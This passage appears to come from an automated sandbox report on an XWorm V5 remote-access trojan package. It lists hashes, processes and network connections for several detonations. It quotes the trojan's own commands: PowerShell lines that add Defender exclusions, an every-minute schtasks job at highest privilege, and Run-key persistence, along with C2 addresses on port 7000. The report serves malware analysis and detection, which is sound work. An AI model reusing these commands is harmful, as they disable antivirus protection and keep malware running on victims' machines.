"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XWorm V5.2'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWorm V5.2'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWorm V5" /tr "C:\Users\Admin\AppData\Local\Temp\XWorm V5.2"

C:\Users\Admin\AppData\Local\Temp\XWorm V5.2

"C:\Users\Admin\AppData\Local\Temp\XWorm V5.2"

C:\Users\Admin\AppData\Local\Temp\XWorm V5.2

"C:\Users\Admin\AppData\Local\Temp\XWorm V5.2"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
AE 86.96.100.98:7000 tcp
AE 86.96.100.98:7000 tcp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
SA 31.167.24.129:7000 tcp
SA 2.90.87.156:7000 tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
SA 2.90.87.156:7000 tcp
AE 86.96.100.98:7000 tcp

Files

memory/4704-0-0x00007FFCCA103000-0x00007FFCCA105000-memory.dmp

memory/4704-1-0x0000000000590000-0x00000000005C4000-memory.dmp

memory/4704-2-0x00007FFCCA100000-0x00007FFCCABC1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mre5ygdc.dal.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2124-12-0x000002703EBD0000-0x000002703EBF2000-memory.dmp

memory/2124-13-0x00007FFCCA100000-0x00007FFCCABC1000-memory.dmp

memory/2124-14-0x00007FFCCA100000-0x00007FFCCABC1000-memory.dmp

memory/2124-17-0x00007FFCCA100000-0x00007FFCCABC1000-memory.dmp

memory/2124-16-0x00007FFCCA100000-0x00007FFCCABC1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 22310ad6749d8cc38284aa616efcd100
SHA1 440ef4a0a53bfa7c83fe84326a1dff4326dcb515
SHA256 55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf
SHA512 2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 eb1ad317bd25b55b2bbdce8a28a74a94
SHA1 98a3978be4d10d62e7411946474579ee5bdc5ea6
SHA256 9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
SHA512 d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

memory/4704-54-0x00007FFCCA103000-0x00007FFCCA105000-memory.dmp

memory/4704-55-0x00007FFCCA100000-0x00007FFCCABC1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\XWorm V5.2

MD5 b2234a1b2a6b4b0e9bfbeeb540e86725
SHA1 d1e45aa8f1136a8809837ad72943dc7e580767e1
SHA256 d1ee800872c14d799d38ab0fb08b1d3c6573cef795f8c3eb9e3066e106e3dabb
SHA512 946eebfb60ea5081f59e9f31a56097564cc52e2b688b77d37eecbca3519e1122c872c98a129f27dc86a4032ef18ca4a98f1ddbdd283076e2e880d17bf63149f5

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XWorm V5.2.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Analysis: behavioral24

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

82s

Max time network

85s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Pdb.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Pdb.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral26

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

92s

Max time network

126s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Rocks.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Rocks.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral11

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240729-en

Max time kernel

14s

Max time network

17s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\IconExtractor.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\IconExtractor.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral12

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

92s

Max time network

126s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\IconExtractor.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\IconExtractor.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral14

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

120s

Max time network

124s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Icons\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Icons\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Network

Country Destination Domain Proto
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 25.140.123.92.in-addr.arpa udp

Files

N/A

Analysis: behavioral15

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240705-en

Max time kernel

146s

Max time network

114s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Drops startup file

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\q11111.lnk C:\Users\Admin\AppData\Roaming\XClient.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\q11111.lnk C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
N/A N/A C:\Users\Public\q11111 N/A
N/A N/A C:\Users\Public\q11111 N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Windows\CurrentVersion\Run\q11111 = "C:\\Users\\Public\\q11111" C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Public\q11111 N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\XClient.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 828 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 828 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 828 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 1180 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 3044 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 1032 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1180 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\schtasks.exe
PID 1180 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\schtasks.exe
PID 1180 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Roaming\XClient.exe C:\Windows\System32\schtasks.exe
PID 1136 wrote to memory of 1556 N/A C:\Windows\system32\taskeng.exe C:\Users\Public\q11111
PID 1136 wrote to memory of 1556 N/A C:\Windows\system32\taskeng.exe C:\Users\Public\q11111
PID 1136 wrote to memory of 1556 N/A C:\Windows\system32\taskeng.exe C:\Users\Public\q11111
PID 1136 wrote to memory of 2480 N/A C:\Windows\system32\taskeng.exe C:\Users\Public\q11111
PID 1136 wrote to memory of 2480 N/A C:\Windows\system32\taskeng.exe C:\Users\Public\q11111
PID 1136 wrote to memory of 2480 N/A C:\Windows\system32\taskeng.exe C:\Users\Public\q11111

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe

"C:\Users\Admin\AppData\Local\Temp\Icons\Outfuytftjgfuyjput.exe"

C:\Users\Admin\AppData\Roaming\XClient.exe

"C:\Users\Admin\AppData\Roaming\XClient.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\q11111'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'q11111'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "q11111" /tr "C:\Users\Public\q11111"

C:\Windows\system32\taskeng.exe

taskeng.exe {BC71303D-8C2A-4D86-BC95-015C4AADDBED} S-1-5-21-2172136094-3310281978-782691160-1000:EXCFTDUU\Admin:Interactive:[1]

C:\Users\Public\q11111

C:\Users\Public\q11111

C:\Users\Public\q11111

C:\Users\Public\q11111

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp
N/A 127.0.0.1:7000 tcp

Files

memory/828-0-0x000007FEF6523000-0x000007FEF6524000-memory.dmp

memory/828-1-0x00000000008A0000-0x0000000001E22000-memory.dmp

C:\Users\Admin\AppData\Roaming\XClient.exe

MD5 767d4d113ea2e9d9886b2aa1710db7f3
SHA1 f7f779a94fb6fe0e3ee8996dff7951b3b5c7b1b0
SHA256 b06506ca596951ae4c75e43d5aba7c255c557cf5607915a214c2a3f53e97934f
SHA512 ea1f6b926b2e19d0521dc3939c247094640ba6fb10b8c0a4dbb48306c5b7e8b9a3659d4f83ead234ba3c035ae09d891d8c2c302945f48b94a4a0916d3ca7ee41

memory/1180-8-0x00000000002F0000-0x0000000000340000-memory.dmp

memory/1180-46-0x000007FEF6520000-0x000007FEF6F0C000-memory.dmp

memory/1180-47-0x000007FEF6520000-0x000007FEF6F0C000-memory.dmp

memory/2368-52-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

memory/2368-53-0x0000000001D10000-0x0000000001D18000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 3e1c3431ff772d0c6b31e033f5653899
SHA1 ccaa002ab185fa4abbe1b0be0e25e04cb99f1082
SHA256 ab5085762a864b80bb990016431d0331638fa3c0a4bb93a29b5a6c3c0acf74d4
SHA512 58d27e50832ff16bfcc1bec2941ea83cd8fd39e8d8f56bd31ade596843f7502ed42348be4f67d9f414f5f453ff81193edb898c793e76841c728a605707f547fb

memory/3044-59-0x000000001B730000-0x000000001BA12000-memory.dmp

memory/3044-60-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1180-75-0x000007FEF6520000-0x000007FEF6F0C000-memory.dmp

memory/1180-76-0x000007FEF6520000-0x000007FEF6F0C000-memory.dmp

memory/1556-80-0x0000000000F20000-0x0000000000F70000-memory.dmp

Analysis: behavioral27

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240708-en

Max time kernel

122s

Max time network

124s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240705-en

Max time kernel

121s

Max time network

124s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\GMap.NET.Core.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\GMap.NET.Core.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

92s

Max time network

128s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\GMap.NET.Core.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\GMap.NET.Core.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral19

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win7-20240708-en

Max time kernel

123s

Max time network

139s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWorm V5.lnk C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWorm V5.lnk C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2958949473-3205530200-1453100116-1000\Software\Microsoft\Windows\CurrentVersion\Run\XWorm V5 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XWorm V5.2" C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2684 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2768 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\schtasks.exe
PID 2684 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\schtasks.exe
PID 2684 wrote to memory of 1664 N/A C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe C:\Windows\System32\schtasks.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe

"C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Icons\XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XWorm V5.2'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWorm V5.2'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWorm V5" /tr "C:\Users\Admin\AppData\Local\Temp\XWorm V5.2"

C:\Windows\system32\taskeng.exe

taskeng.exe {100AD65C-0524-4693-971A-4C9853BE5EE1} S-1-5-21-2958949473-3205530200-1453100116-1000:WHMFPZKA\Admin:Interactive:[1]

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
SA 31.167.24.129:7000 tcp
SA 31.167.24.129:7000 tcp
NL 154.61.71.50:7000 tcp
NL 154.61.71.50:7000 tcp
NL 154.61.71.50:7000 tcp
SA 31.167.24.129:7000 tcp
NL 154.61.71.50:7000 tcp

Files

memory/2684-0-0x000007FEF5833000-0x000007FEF5834000-memory.dmp

memory/2684-1-0x00000000011D0000-0x0000000001204000-memory.dmp

memory/2684-2-0x000007FEF5830000-0x000007FEF621C000-memory.dmp

memory/2960-7-0x0000000002C70000-0x0000000002CF0000-memory.dmp

memory/2960-8-0x000000001B600000-0x000000001B8E2000-memory.dmp

memory/2960-9-0x0000000002100000-0x0000000002108000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\334C8TLT3HWPSAQCI8PG.temp

MD5 e2ddd7782f50a06c7911a28d8eba4c90
SHA1 bcee862aac19925e05ad545dd41bcf049b046109
SHA256 5f11e6efc0435338da9c57a690512c25315f348eb81f2bd43fc697d87432b8e4
SHA512 cc3b09583ae8b2608d02fdcb1c174b490f89a6dd4b4292542bc222fbc55fdb2106a634d7e0ef8193d258fb716a83c62c5a81eefa470cdd1281dbf8bd9404ea8b

memory/2768-15-0x000000001B670000-0x000000001B952000-memory.dmp

memory/2768-16-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

memory/2684-30-0x000007FEF5833000-0x000007FEF5834000-memory.dmp

memory/2684-31-0x000007FEF5830000-0x000007FEF621C000-memory.dmp

Analysis: behavioral22

Detonation Overview

Submitted

2024-08-02 22:54

Reported

2024-08-02 22:57

Platform

win10v2004-20240802-en

Max time kernel

91s

Max time network

127s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Mdb.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Mono.Cecil.Mdb.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
